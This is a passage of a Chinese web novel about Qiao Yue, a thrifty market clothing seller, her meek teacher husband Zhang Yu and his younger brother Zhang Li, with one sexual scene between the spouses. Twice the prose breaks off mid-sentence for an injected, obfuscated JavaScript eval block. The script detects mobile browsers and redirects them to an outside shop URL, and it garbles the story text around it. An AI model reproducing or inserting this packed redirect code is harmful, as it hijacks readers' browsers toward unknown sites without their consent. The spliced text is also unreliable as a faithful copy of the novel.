对面的女人有点不以为意,又夹了两口咸菜,扒拉一口米饭。 “妈你咋这样!不可理喻,我不吃了!” 李书明气得眼泪都要掉下来了,她不知道她妈为啥就非得占那个便宜,让人家骂得那么难听她就高兴了吗! “爱吃不吃不吃拉倒!白买这么好的肉了,到头来我还欠你的了是不……” 李书明“砰”一下关上门,跑进自己房间了。捂着脸趴在桌子上哭,她心里特别憋屈,感觉自己少上一个晚自习就跟别人落下好大差距了,胳膊又疼的她心烦意乱。还有跟妈吵架,她也不是故意要跟她妈吵架,妈什么好的都留给她,要是没有肥肉就一口肉都不吃,但她为什么就是那么爱占便宜。这次开学测验她又退步了好几名,好多不该错的都错了,怎么就她这么笨…… 归文玉又换新衣服了,听说还是什么什么牌子的,她家里怎么就那么有钱,而她呢,她低血糖晕倒就是因为早上只吃了一个馒头,学校食堂太贵了…… 李书明趴在桌子上哭了一会儿,心里好受多了。 她推开窗,暮春时节的暖风迎面吹来,轻轻擦拭着她脸上的泪水。 ……你说爱像云……要自在漂浮才美丽…… 隐约的歌声顺着暖风,吹进了她的窗户。 她的房间靠边,是后来搭建的小屋,离隔壁最近,经常能听见隔壁女人唱歌。 她的声音很好听,清亮,透明,跟水一样,和她骂人一点也不像。 李书明觉得张老师是好人,张老师的家人肯定也是好人,只不过嘴巴坏一点而已。 她觉得她应该替她妈去跟张老师的家人道歉,但她不敢。 因为她怕她顺便连她一起骂了。 反正她每天要骂那么多人。 歌声越来越小了,李书明不自觉站起来,身子往外倾,竖着耳朵屏着呼吸捕捉。 她没有MP3,她把这个当成自己的MP3。 啪啪啪—— “这个破收音机,怎么又没声音啦!” 乔月烦死了,还没唱到高潮呢,一点儿声音没有了!她又记不住歌词,唱到一半这口气上不来下不去的,算什么事! 她用力拍了几下,又晃了晃,还是没声。 这个收音机她用很久了,里面可能有个什么螺丝掉了,有时候揍一揍它就有声音,但这回好像不行。 捣鼓来捣鼓去还是没声音,甚至连摁钮都摁不下去了,乔月一肚子气。 “这个死张宇,下课了不回家,又留在学校当傻大炮,怎么有这么蠢的人!” 张宇课挺多的,一周有三节晚自习,乔月记不住,也懒得记这些,她只看见隔壁的小耗子都回家了,背那么——大一书包。 好像乌龟背着她重重的壳。 乔月叫她小耗子因为她们遇见过几回,她总贼眉鼠眼地偷看她,她看回去,她就低着头小跑走了。 亏得乔月还想友善地跟她打个招呼呢!虽然她妈不是好东西,但她还不至于欺负一小孩儿。 收音机没声儿,张宇也不回来,乔月心情不咋好。 乔月照着镜子看了看自己眼睛,完全消肿了,她发誓这辈子不会再因为那个死男人流一滴眼泪,就当他死了,也真希望他死了。 乔月想到什么,骑上自行车就走了。 走之前还趴院外那块地看看,有没有哪个手脚不干净的又把种子撒上头了。 没有,她挺满意,骑车的速度都快了。 张宇的自行车给她骑,他骑他弟弟的,他弟弟叫张黎,乔月还没见过张黎呢,说是去北京参加什么什么学科比赛去了,要集训,去了得有一个月了。 他走没两天乔月搬进来了,那之前乔月是跟别人合租,住一个上下床,她室友天天睡觉磨牙,她烦得要死。张宇可好了,他睡觉一点声音都没有,跟死了一样,乔月很满意,因为她最喜欢睡觉了,睡觉时候有声音那是精神虐待。 当时她们领结婚证张宇唯一的要求就是要供这个弟弟上大学。 乔月想到这儿撇撇嘴。 反正现在张宇那点儿存款都到她手里了,怎么供,供不供,不还是她说了算吗。 又不是他爹妈! 乔月把自行车停在新世纪百货商场前头的车棚,上了锁,旁边有个很奇怪的自行车,轮胎特别厚,车身都是墨绿色的,后边没带人的座子,前面没车筐,古怪,但是还挺拉风。 乔月又看了看自己的老古董,除了铃铛不响再哪都叮当作响。 真想给它一脚。 乔月瞪了那自行车一眼。 往西边走。 地下商业街就在新世纪百货的地下一层,乔月把那小店面盘下来了,手续才办好,她还没去南方拿过货,等那小姑娘过两天带她去认认地方。 当然这个月不算,这段时间那小老板就当免费送她了,她还有点东西没搬完。 那小姑娘可是个厉害角色,有的她拿回来的衣服乔月觉得可丑了,但就是卖得很好,乔月觉得自己有很多需要跟她学的地方,毕竟很多人就是喜欢丑衣裳。 当初说要关店之前甩卖过一段时间,现在店里的衣服不多了,原本平时一直用网兜罩着的,但前段时间她捡着一个小孩,其实也不是小孩了,但反正没成年,还找不着工作,前面头发可长,挡着眼睛,谁要叫她就往左甩一下脑袋,平时背着个吉他,像个流浪汉似的。 乔月只用她过渡一下,最主要原因是她便宜,等上货正式营业就不用她了,便宜也是钱。乔月的人生宗旨就是不放过任何钱,大钱小钱都算。 “月姐今天有空过来啊。” 乔月往自己档口走,路过不断有人跟她打招呼,她在这干半年了,认识不少人,但都不是朋友,乔月的朋友门槛很高的。 “嗯,你这新拿的货真不赖啊,这款买的人多不?” “害,不好呗,再卖不出去都快要亏价处理了。” 装,乔月心里翻了个白眼。 不过大家都是装,她蹲下身系鞋带,悄悄把鞋底踩的一块钱钢镚拿手里了。 哎,谁让她眼睛好使呢。 乔月拿着钢镚去买了两根雪糕,本来她想买一根的,但挑挑拣拣觉得一块钱的那堆都不咋样,就拿了两根小布丁,她最爱吃小布丁。 “乔月姐姐你来啦。” 乔月已经努力放轻脚步了,但陈梦蝶耳朵很尖,老远听见乔月跟人聊天了,就站起来整理衣服,档口原本就没多少衣服了,她就换个位置挂。 “喏,给你买根雪糕,特意给你买的。” 乔月把小布丁递给陈梦蝶,背着手绕着小店转,还行,地上挺干净,衣服理得也整齐。她的这个档口位置不那么好,太靠后,不少人逛到这儿时候都兴致缺缺了,看啥款式都大同小异了。不过也有优点,优点就是地方比别人大点,后头还有个小仓库,虽然特别小,但有门有锁,下班时候把贵点的衣服锁在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502333|202807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面,让人很放心。 因为前段时间的大甩卖,小店宽敞了不少,乔月之前卖衣服时候就觉得小老板摆的货太少了,这么大空间,还能放不少东西呢,浪费。她打算打个首饰展板,卖项链耳钉指甲油手机链什么的,哦还能打耳洞,她在理发店学了怎么给人打耳洞,不过她没舍得给自己打,那多疼。 乔月走进小仓库巡视,仓库其实就是用三合板打的一个隔断,特别小,站一个人还行,站俩人好像就转不过来身了,乔月四处看,还把纸箱子打开翻了翻,没发现什么不适宜的物品。 她上回在仓库看见陈梦蝶的牙刷了,她晚上在这住可不行,这地方咋住呀,再说万一出了事,不得找到她头上吗! 出来她又问。 “梦蝶,你说你在哪儿住来着?你大姑家?她家离咱店远吗?你每天来回跑累不。” “不远,她住文馨小区,就是一小旁边那教师公寓。” 陈梦蝶佩服自己的临机应变能力,反应多快!她坐公交车路过那小区,就记住了。 “哦。” 乔月哦了一声,想到什么又问。 “她是老师啊,你大姑是老师,你不上学了她不劝劝你?” “害,家家有本难念的经,我铁了心要追求我的音乐梦想,她们管不着。” 陈梦蝶拍了拍自己胸脯,听见乔月过来,她已经把吉他藏在角落里了,乔月不爱她上班时候干别的。 乔月心底翻了个白眼,这算啥梦想,小孩梦想,世界上爱音乐的多了,怎么也不可能轮到她们,她还爱唱歌呢,也没说做梦想成为李宇春啊。 不过当时要了陈梦蝶也是这个原因,乔月觉得她还挺那个什么的,时尚。就是现在好多小孩都这样,前面头发挡住眼睛,说句话甩一下脑袋,不说话时候就拉耸着眼皮,不正眼看人,挺忧郁的,好多学生都这样。 不过最主要原因还是她便宜,人也算听话。 “乔月姐你知道圣经吗?你知道世界上有几十亿人都读过圣经吗?总有一天!总有一天我的歌要火遍全世界!要比圣经还火!” 乔月真想把她手里那小布丁要回来,马上就让她滚蛋。 这小孩有病,还病得不轻。 她觉得自己都够自恋的了,怎么还有比她还自恋的人呢。 但她暂时还需要个帮手。 总之又说了一句。 “反正我是看你可怜才让你在店里帮忙的啊,你可别给我找事儿,晚上你去你亲戚家住,店里可不能过夜,去年还进来过小偷,拿着刀呢。我再说一遍你不能在店里住。” “当然不会的乔月姐,库房就那么大,也没个床,咋能住人呢,你放心吧,我不会的。就是回我大姑家也没事儿干,有时候我晚点走,在店里练练吉他。” 乔月点点头,这还行,晚下班是好事儿,有的学生放学了还爱过来逛逛。 陈梦蝶觉得自己真是聪明,早把牙刷放兜里了。就是木纸板子睡着腰疼,不过还好她年轻,睡两晚就适应了。要不也不能天天去网吧包夜,太贵了,她得省着攒去北京的路费和生活费呢。 陈梦蝶又撇了下头发,露出半张脸。 她长得不算好看,顶多顶多是清秀。但挺有记忆点,颧骨偏高,脸瘦长,眼睛窄窄的,嘴唇很薄,不贫时候有种淡淡的哀伤感,可能也叫疏离感,弹吉他时候还挺有模有样的。 乔月觉得陈梦蝶吉他弹得还挺好,但是不能张嘴,因为她唱的歌都可难听了,说是自己创作的,但黏黏糊糊的跟嘴巴黏上了一样,乔月一句都听不清楚。 “你大姑是老师呀,我丈夫也是老师,教数学的,在县一中重点班教呢。” 乔月捋了捋自己头发,像是漫不经心提起。 陈梦蝶非常上道,马上张大嘴巴。 “哇,一中啊,一中的老师学历都可高了,那可是真厉害,跟乔月姐你可真般配……” “什么呀,就那样呗,赚那点死工资……哎,不过我听说学校有家属院要完工了,说是跟学校再补签个合同,承诺二十年还是多少年不跳槽,就能以特别低的价格买一套,有这回事儿没,听你大姑说过没?她们那会儿也是这样吗?” 乔月美滋滋听完了奉承就问正经儿事,这可也是她跟张宇结婚的很重要原因,差不多两年工资白得一套房,谁能不愿意啊。 “好像……好像是有这么一回事吧,我回去问问我大姑。” 陈梦蝶打算晚上去那小区溜达溜达。 “哎,时间不早了,你还要练吉他吗,那我先回家了啊,家里还有点事儿……” “那乔月姐你慢点啊……” 陈梦蝶舒了口气,今天可真悬,差点儿被怀疑。 5. 第5章 叮叮当当。 乔月晚上吃的面条,就着一大碗肉酱卤子,特别好吃,吃得她肚子很撑,就是有点咸,又喝了很多水,肚子就更撑了。她站在地上拉伸,胳膊向上伸,手腕子上的镯子手链就叮叮当当打在一起,她很喜欢这种声音,又故意晃了晃,觉得声音悦耳。 她刚到县城时候特别喜欢去逛两元店,那时候她饭都吃不大饱,但还是天天在外面瞎逛,刚从村里出来,看什么都新奇。她买了很多穿的戴的,还有好些亮晶晶的指甲油。她最爱逛要关门打折甩卖的那种,在人群中挤着扯着嗓子问老板手里的这个多少钱,再趁机压下去点儿价。所以后来她在地下商场卖衣服才那么如鱼得水。 这些就都成了她行囊的一部分,其实长这么大以来属于她的东西一直都少得可怜,因为乔英慧的病,她一犯病就乱砸乱扔,所以乔月平时什么都不买,家里空荡荡的。当然也是舍不得买,乔英慧像个定时炸弹,不知什么时候会得更烧钱的病,她不敢花钱。 好在乔英慧死了。 乔月是兴高采烈把自己的一堆破烂搬进张宇的家里来的,之前她跟室友住一个小单间,一张很窄的上下床,厕所是很多人公用的,总是很脏,尿渍溅得到处都是。她们吃饭也只能用一口小锅煮,因为要注意功率,一不小心就跳闸了。 不过那时候乔月住得也不算特别不开心,除了室友总是半夜磨牙,让她睡不好觉。 除了磨牙那也算是个好室友,乔月在地下商场卖衣服,她在饭店当服务员。乔月每回碰见哪家档口要关店甩卖都会兴高采烈通知这位室友,然后两个人一起去采货,只有特别便宜又特别好看的才能入得了她们的眼。 当然主要是便宜。 就是门口纸箱十块钱两件用来吸引人被翻找的稀烂的那堆,两个人总能找到落网之鱼,然后互相炫耀。 室友上班的饭店一到节假日就会接很多婚宴,她脚不沾地忙得找不着北,但有时候运气好,遇上桌位定得很宽裕的,有的菜几乎没吃几口,乱时候她们这些服务生才有机会搞点小动作。乔月第一回吃到虾,室友教乔月怎么剥,然后蘸着料汁,乔月沾了一口醋的,觉得真好吃,怎么比瘦肉还好吃,她原本以为瘦肉就是全世界最好吃的了。 然后又美滋滋沾了一大口一坨绿色的什么东西,天啊,呛得她五官皱一起,眼泪鼻涕一起出来。 怎么有这么难吃的东西! 有回室友回来很晚,神秘兮兮给乔月拿出来一个矿泉水瓶。 “这可是好东西,你绝对没喝过!只有有钱人才喝得起的!” 原来是茅台,饭店接待的包厢客人剩下的,都是当官的,室友偷偷倒矿泉水瓶拿回来。 其实两个人都不爱喝酒,乔月喝一口觉得好难喝,辣舌头,什么沉淀的质感她是一点没尝出来。乔月想吐了,室友忙摁住她嘴唇。 “不许吐,你知道吗,以前坐飞机才能喝这酒呢。” 飞机,乔月可没坐过飞机,她就把嘴里这口咽下去了。 两个人就你一小口我一小口地把小半瓶酒喝完了,醉成一团,又哭又笑的。 乔月从房子搬出来了那室友后面也没续租,她跟饭店后厨的厨师好上了,两个人租了个更大点的房子,乔月知道了还挺高兴的。 这时候太阳落山了,天又没完全黑,乔月觉得开大灯费电,就把张宇书桌上的台灯扭开了,温暖的光照亮了桌前那一小片儿地方。 张宇真是奇怪得很,他好像不需要任何娱乐设施,也不对任何新兴事情感兴趣,家里连台电视都没有。乔月以前日子那么困难,都扣扣搜搜搬回去一台电视,就是信号不好,每到中午时候就得派一个人去房顶上转小锅,要不收不着信号。 不过因为她妈的缘故,电视是安在吴阳家里的,但是也没保住,有回吴阳他爸喝多了给砸了。 不过她们还是在一起看了很多电视剧的,经常是她跟杨萌一边看一边抹眼泪,吴阳蹲在房顶上转小锅,电视机一卡她们就大喊吴阳转转。 然后看不了多久就会有小孩儿跑过来大喊。 “乔月姐你家羊又跑下山啦!” 乔月就飞快抹抹眼泪麻利跑出去,因为羊下山跑人家地里会祸害庄稼,那得赔钱的。 乔月跟杨萌有段时间都特别迷还珠格格。 “……我向你飞……雨温柔的坠……像你的怀抱——” “呸!” 意识到自己在唱什么,乔月吐了口唾沫,她才发誓说再不想的,只要回忆以前,总不可避免想起吴阳,而以前的吴阳,早死了! 乔月希望地球爆炸,希望自己讨厌的人全部死翘翘。 算了还是不要爆炸了。 乔月穿过吃饭的走廊,走到另一屋子,拉开抽屉,开始挑挑拣拣选指甲油,她喜欢这世界上一切亮晶晶的东西。 张宇的家有点老了,但当然要比乔月山沟里的三间土房新上不少,乔月的意思是这房子不宽敞不明亮不宏伟,就是普普通通的民房。是以前玻璃厂分的,张宇爸妈以前在县玻璃厂上班,所以这条街叫瓶盖街,不过九几年老厂改制,工人全都下岗了。 乔月挑了一瓶深蓝带金星的,她喜欢重色,那种淡的她看不上眼,没劲。 乔月把抽屉关上,手腕子上的玻璃镯子“当”一下磕到桌子上了,她心疼地摸了摸,还好里面注了塑胶没断。余光一瞥瞧见地板上桌子底下有什么东西,她用脚勾出来,发现是一根钢笔。 乔月撇撇嘴,那小孩的东西还没清干净,看来明天得做一个大扫除。 这房子一共就有两间屋子,是说可以作为卧室的房间,张宇和乔月住东屋,但西屋乔月也要,她觉得西屋窗户大,更亮堂,而且屋后有一棵丁香,乔月喜欢丁香。有句话叫门前不栽苦丁香,意思是说房子周边不要栽丁香,不吉利,但乔月就是喜欢。 乔月觉得要对世界上所有,所有的事情都打一个大大的问号。她坚信是很久以前有个不喜欢丁香的人创造了这句话。 总之乔月就是要这间屋子,因为她的东西很多,并且会越来越多,她跟张宇说以后要用这间屋子做仓库,张宇面露难色,问她过两年可不可以。 因为过两年张黎就高考上大学了。 乔月摇头,指了指院子里的那个小偏房。 那个小偏房是后来搭建的,街道很多人都会后搭建一个,在自己院儿里,算不上违建,不然人口多的,根本住不下。不过大部分人都用来做仓库,装些平时不用的东西。张宇的这间房子里更是装满了别人家的东西,烂沙发,破衣服,反正什么都有,乔月全给扔了。然后还假惺惺地打扫了一番,毕竟是要住人的。 张宇拗不过乔月,前几天下班抽时间去建材市场买了桶涂料,刷了遍墙。 小偏房一般情况下都是不住人的,毕竟总是在主屋的阴影下,光照差,不通风,冬冷夏热,又狭小,根本不适合住人。 张黎的东西真是少得可怜,要是张宇不说,乔月还以为这房子就住张宇一个人呢。 太阳完全落下去了,天黑得发蓝。 还没入夏,太阳下了山风就有点凉,凉风从窗户吹进来,张宇桌子上的书哗哗作响,乔月有点烦地倒扣过去。 动了动自己的大脚趾。 她涂好一只脚了,但这指甲油干得很慢。 就单脚蹦着去把窗户关上了。 她只穿件睡裙,风一吹还有点儿凉呢。 乔月是很不怕冷的人,永远比别人先换季。倒不是她爱俏少穿衣服,而是她真的很怕热,受一点热整个人就燥得不行,看什么都不顺眼。 关上窗她又蹦蹦跳跳回来,顺手扒拉了一下门帘,她特意换的串珠门帘,蓝绿色的,晃起来特别好看,其实就是塑料珠子串的。 然后坐到椅子上继续涂另一只脚。 屋外响起人声,乔月零星听见几句,眼皮都没抬一下。 隔壁又跟张宇告状呢呗,也不想想,张宇可能管得住她吗。 那块地她要用来种瓜子的,隔壁要是还不死心,再有什么小动作,她真半夜跳院墙把她们家鸡鸭鹅啊全掐死。 “乔月,我回来了。” 张宇整个人就十分安静,同样的珠帘,乔月掀就叮叮当当,张宇掀就一点声响没有。 “奥。” 乔月鼻子出气。 然后张宇跟往常一样把外套脱了挂衣架上,这都要入夏了,他还穿好多衣服,外套脱了有毛衣,毛衣里面是衬衫,衬衫里面还有个背心…… 然后才换上那身米黄色的居家服,不过也可能是白色的洗掉色了。 反正他这个人不论做什么都慢腾腾的,像是比别人慢半拍一样,乔月其实十分怀疑他这样能教得好学生吗。 然后很小声对乔月说。 “月,不要把脚放桌子上。” 乔月正大喇喇把脚放在桌子上,十分认真地往每个指甲盖上涂颜色,她喜欢重颜色,所以涂完一层还要再加一层。 她垂下头,一缕发丝也垂下来。 但大部分头发都被一根簪子别在脑后,簪子上有流苏垂下来,她一动,那流苏就晃得厉害。大灯没开,那盏小台灯又不够亮,流苏在昏黄的暖光里影影绰绰的,竟然真的像是什么绝世珍宝。 她的脚就搭在桌上,暗蓝色的指甲上有很多银粉,也在闪。 怎么那么多东西都在闪。 张宇平时经常俯趴在那里思考题目。 乔月打开的指甲油瓶就那么随意放在他经常翻阅的那本书上。 那种味道,那种指甲油的味道,包裹着张宇。 他忍不住想颤抖。 “月,不要把脚放桌子上。” 他又提。 “那我放在哪?” 乔月翻了个白眼。 涂个指甲都这么多事! 张宇不想以后自己只要坐在书桌前脑子就想到今天这一幕。 “放……放我腿上。” 张宇搬来一张板凳,坐在乔月旁边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502334|202807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他觉得乔月穿得少,很冷,这样能给乔月焐焐脚。 张宇真是一点脾气没有,乔月好些时候想跟他吵架都吵不起来。 嘎吱—— 托拉椅子发出很刺耳的声音,乔月转过来,和张宇面对着面,有些赌气地把脚重重搭在张宇腿上。 “唔——” 乔月放下的动作有点重了,张宇没忍住唔了一声,他觉得自己大腿根没准儿青了,但也不敢撩开衣服看看,而是很温顺地捂着乔月的脚。 张宇低着头,很小的声音被乔月捕捉到,她原先佝偻在椅子上,现在坐直身子,盯着张宇看。 他手很漂亮,白皙,手指细长,食指指缝里似乎还残存一点粉笔灰。就是凉,但乔月血热,凉凉的,接触到皮肤还很舒服。 手掌很温顺地包裹着乔月的脚。 他的睫毛也很长,会顶到镜片,厚厚的眼镜片。 “把眼镜摘掉。” 张宇的脸开始迅速红起来,一直蔓延到脖子。 “月,今天、今天小黎会回来……” “我让你把眼镜摘掉,又没让你干别的。” “月,别,小黎真的会回来……” “回来呗,他回来咱俩日子就不过啦?再说学生下晚自习早着呢,你快点,别让我再提醒。” “我……” 张宇还想商量,但又不敢直接跟乔月唱反调,就慢腾腾地摘。 “快点。” 乔月向前踢了一下,一点儿没干的指甲油染到了张宇裤子上,亮晶晶的。 “唔。” 张宇咬住下唇。 他不敢抬眼,只是头越来越低,最后近乎是俯下身,像要亲吻乔月的脚背一样。 乔月抬脚,不小心碰到张宇的喉结。 “解开啊,说一步做一步,你是带发条的吗。” “我……我先去关上大门……” 张宇庆幸自己一回家就拉上了窗帘。 “快点!” 乔月重重放下去,张宇瑟缩了一下,往后躲。 多敏感的地方啊,他眼眶都红了。 皮肤白的人,一哭起来哪哪都红。 “啧。” “对不起。” 张宇不知道自己为什么道歉,但就是忍不住道歉。 他高度近视,离了眼镜什么都看不清,台灯又暗,哪都是朦朦胧胧一片,乔月的五官也看不清,除了簪子上的流苏,在不停晃动。 “乔月,我害怕……” 张宇的眼泪不停往下流,他很迷茫地睁着眼,仰着头,冰凉的眼泪落在乔月小腿上。 “没事儿……很快就好了……好了就奖励你……你最喜欢的……” 乔月的声音像是从很遥远的地方传来,张宇伸手想抓住什么,但乔月不许,他只能就那样坐在椅子上,被动地承受乔月给的一切。 一切结束了,张宇又抖了一下。 乔月的声音清晰起来。 “怎么还不习惯,越哭越厉害了。” 乔月有点埋怨,因为她的指甲油全都白涂了。 “好了。” 张宇站起身,提好裤子,摸索着去拿桌上的眼镜。 “不行,你是用嘴又不是用眼睛。” 乔月摁住张宇的手,她可不喜欢失控。 但张宇马上用实际行动告诉乔月,他也不是事事都听乔月的。 乔月总说她想做一个有文化的人,但她就只是说说,从不付诸行动,还总乱说成语,闹出不少笑话。 书桌上就有一些乔月的作业本,张宇每天给她布置一些作业,都是初中的课程,乔月就读到初一。 这种事儿一两天玩玩闹闹还行,天天如此就没意思了,乔月并不想学,她总找事情推脱。 但现在这种情况不行。 乔月在磕磕绊绊读一段生僻字很多的课文,张宇早给她布置了任务,让她提前查清读音,但她懒得翻字典,她卖衣服又用不上这些拗口的文言文,用了顾客会以为她有病。 于是遇到不认识的字她要不读左边要不读右边,要不瞎读。 “啊不对!我读错了!我……” 乔月的声音很奇怪,像是哭又不像是哭,她在道歉吗,但是屋里好像一个人都没看到呀。 她的手指紧紧抓住桌角,指尖都摁白了。 只有一些很奇怪的,啧滋的水声。 …… “对不起,月,你打我吧。” 张宇跪坐在地上跟乔月道歉,向前挪了一下,脸似是要贴到乔月的大腿,乔月赶紧暗自瑟缩向后退了一点。 …… “再练习一遍,等你弟弟回来了,你要怎么跟他说?” 乔月拿起书桌上的水杯,咕咚咕咚喝起来。 她觉得自己就要脱水而死了,必须赶快补回来。 就在这时,屋外恰好响起了脚步声。 乔月赶紧坐起来,调整到战斗状态。 6. 第6章 “阿月胆小,怕生,不想跟生人住一起,小黎,你看要不你……” 张宇说话声音总是很小,再加上这事儿上确实是她们太过分,没理,偏房怎么能住人呢,里面那么大灰尘,而且家里明明有两个卧室。 一只手伸到张宇后腰,狠狠拧着他腰上的软肉,张宇差点儿跪下去,用力掐了下自己手指,把话说完了。 “要不你搬去偏房住,不然很多事情不方便,毕、毕竟……。” “小黎啊,你放心,那房间我跟你哥哥重新装修了一遍,墙都是新涂的呢,干净得很,占了你的房间我也很不好意思的,但是你知道的,我跟你哥赚钱可不容易,那房间得用来——” “好。” 乔月话还没说完呢。 “行,我今晚就搬过去。” 乔月张着嘴,有点迷茫,她记得这个年纪的孩子是很难搞的,她还以为是一场硬仗要打呢,毕竟第一次见面,一定要给个下马威,不然以后可就立不住啦。 “啊……哦。” 乔月准备的那一筐表里不一的话都没用上,在胸口上不来下不去的。 “你可别多想,嫂子不是一来就要把你撵出去,而是现在确实缺个地方放货,你也知道,家里钱都投到档口了,一分闲钱都没有……” 乔月不仅要把他房间占了,还顺便告诉他,从现在开始家里可没钱给他花。 “好,我知道。” 清冷的男音不大不小,乔月一股气冒上来,看不出来这样蠢的张宇竟然有这样一个精明的弟弟!什么招数都不接! “你知道什么你知道!你知道张宇把你带这么大有多不容易吗!一把屎一把尿的,再说你这孩子能不能有点礼貌,再怎么说我也是你长辈,见面了连句嫂子都没叫!” 张宇在后面紧紧拽着乔月的手,他们家……他们家情况比较复杂,他从没一把屎一把尿过,说实话,他对张黎的抚养……高中之后他甚至不再拿他的钱。不过他自己的日子本来也一团糟,钱总是花得稀里糊涂,能给到张黎的,一直都十分有限。 他欠他很多,他们家欠他很多。 张宇当然抓不住乔月,她“腾”的一下就冲出去,蓝绿色的珠帘被她搅得叮当作响,和她后脑上簪子的流苏缠在一起。 乔月正在气头上,手一伸把簪子拿下来,卷曲的波浪长发便散落下来,遮住了胸口上无意间露出的红痕,她仰着头,于是本就尖俏的下巴显得更尖,整张脸绷得紧紧的。她一点不瘦,但脸上没肉,除了嘴唇,厚厚的,湿润的嘴唇,红得像是要往下滴血一样。 乔月下午才洗过头发,一散开,那种浓郁的,劣质的,刺鼻的,让人无处可躲的,廉价的发廊洗发水味道便在房间蔓延开来。 像是偷走了整个春天的花香。 乔月给人剪头发,给人耳朵削下去一块肉,当场被辞退一分钱不给,她气不过就偷了两瓶洗发水,用了半年还没用完呢。 明明是那缺德玩意儿先摸她胯的! 张黎个子特别高,现在天已经全黑了,屋里只开了一盏台灯,光线特别暗,根本照不到客厅,乔月只能朦朦胧胧看到张黎的轮廓,很瘦,低着头,头发有些长。 “喂,我是你嫂子,你这孩子以后可得懂点礼貌!” 乔月抱着膀子靠在门框上,啪嗒一下摁亮客厅灯,于是周边的一切都明亮起来。 乔月看清了张黎的脸。 蓝绿色的珠帘从乔月肩膀滑落,和她腕子上的一连串镯子打在一起,叮当作响。 她皱着眉,昂着头,鲜红的嘴唇撇着,一副看不上眼,很无所畏惧的模样。 然后手指着张黎的鼻子,她的手指甲是玫红色带银粉的,她肤色本来就深,配这种重颜色就更加耀眼。 晃得人睁不开眼。 张黎到了晚上就眼睛不太好,也可能跟他瞳色有关,浅色,偏棕,对光和闪亮的东西都很敏感,于是他只眯着眼看了一眼乔月,便又低下头。 “对不起,嫂子。” 但就抬头那一下,乔月就看清张黎的脸了,她也算是见过世面的人吧,但还是愣了一下。 真是,这孩子长得也太…… “没事儿,以后都是一家人,有什么都能跟嫂子说。” 倒是哥俩,都是面团一样的性格。 乔月那时还那样想。 主要是张黎都 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“小黎不喜欢出风头的事情,我就希望他平平安安的,健健康康的,读完大学,能有个好工作。” 张宇是真的这样想的,他一直知道他这个弟弟好看,初中时候还有人差点为他自杀,说白了就是因为那张脸,人总爱因为一张脸编织很多故事,从而为了证明自己不是看脸。 “他说过他不喜欢吗?那肯定是他没感受过!” 如果长成那样子还不靠脸吃饭,那岂不是太浪费啦。 乔月心底泛起很多小九九,她原先是想靠冷嘲热讽打消张宇弟弟读大学的心思,就算读大学,也不要想花她们一分钱。但现在看,他长得太好看了,以后肯定有很多机会的,连吴阳那样的都能去给县书记家里当赘婿,张黎这样的那岂不是更前途无量? 乔月觉得自己应该对张黎好一点,至少表面上好一点,可别得罪了他。 因为琢磨着这个事儿,乔月一晚上都没睡好。 7. 第7章 哐当—— 沉重的卷帘门被推上去,一个背着巨大黑色包裹的人像做贼一样蛄蛹着要进去,昏黄的灯光把她的身影拉得好长,然后又哐当一声把卷帘门拉下来。 这会儿,那人才放下包裹,倚着瘫坐下来,长长地叹了一口气。 累死她了,真是累死她了! 不过想到明天是周六,她还有很多忙的,就又挣扎着站起来,拖着自己那黑色大包裹,一点一点往自己档口那挪儿。 真是没力气了,手指头都勒得发白不过血,这可比放羊累多了。其实上午还好,有力气扛着那大包裹到处跑,回程的路就没多大精气神儿了。 白天再繁华再喧闹的大商场,到了晚上也是一样的瘆人,远远地不知道哪家的灯坏了,打不开关不上的,只一闪一闪的亮,像是吸引人过去。一望无际的黑,除了影影绰绰的绿色的安全出口的指示牌,指示牌上都是奔跑小人的形状,有个好像装反了,跟别的小人跑的方向相反,还有个指示牌坏了,多了好多圆圈,像是小人跑时候把脑袋跑掉了。 咚咚咚—— “哎呀哎呀对不起。” 乔月拖着大包裹把人家店铺外面的人体模特碰了一下,模特脑袋咚咚咚地滚远了,乔月一边道歉一边拿着手电筒去追,然后再跑回来给人把脑袋装上。 模特额头上磕破了一块,乔月顺手从人家店铺拿了顶帽子给戴上,遮住了。 “姐妹儿对不起啊。” 然后心不诚意不实地道了个歉。 乔月这才发现自己租的档口是真远,怪不得要比前面便宜不少钱,进地下商场要走个很长的下沉式台阶,乔月的档口在五号通道,快走到尽头了。如果按顺序从第一家开始逛的话,到她那几乎是要把整个商场都逛了个遍似的,所以她必须另辟蹊径,得让自己的店特殊点才行。 等好不容易把大包裹拖到店铺了,乔月把网罩掀开,直直大字躺到了地板上。真是累,早上不到四点就出门,一直忙到现在,她都能听到自己心脏剧烈地“咚咚咚”的跳声,不过精神还是亢奋的,因为明天就是周六了,做她们这一行的,最期待的就是节假日。再还有换季时候,夏天也好,夏天买衣服的人多,夏天衣服布料少一般都不贵。冬天的衣服贵,很多人就不买新衣服,一件棉袄穿好几年。再加上她们是北方,冬天温度特别低,洗衣服也不方便,一眼望过去,几乎都是黑棉袄,不管长的短的带不带帽子。卖貂的能赚钱,乔月不敢卖,她可没那么多本钱。 里面的档口都是像她那样拿网兜围上的,因为店面太小了,还是用那种建材挡板隔出来的,装不了门,所以要是人没来,就用网兜围上。而大偏门的钥匙她手里怎么有呢,那说来就话长了。 好吧其实也不长。 她从陈梦蝶那要的。 陈梦蝶那死孩子,真偷偷摸摸在她仓库里住了一个多月! 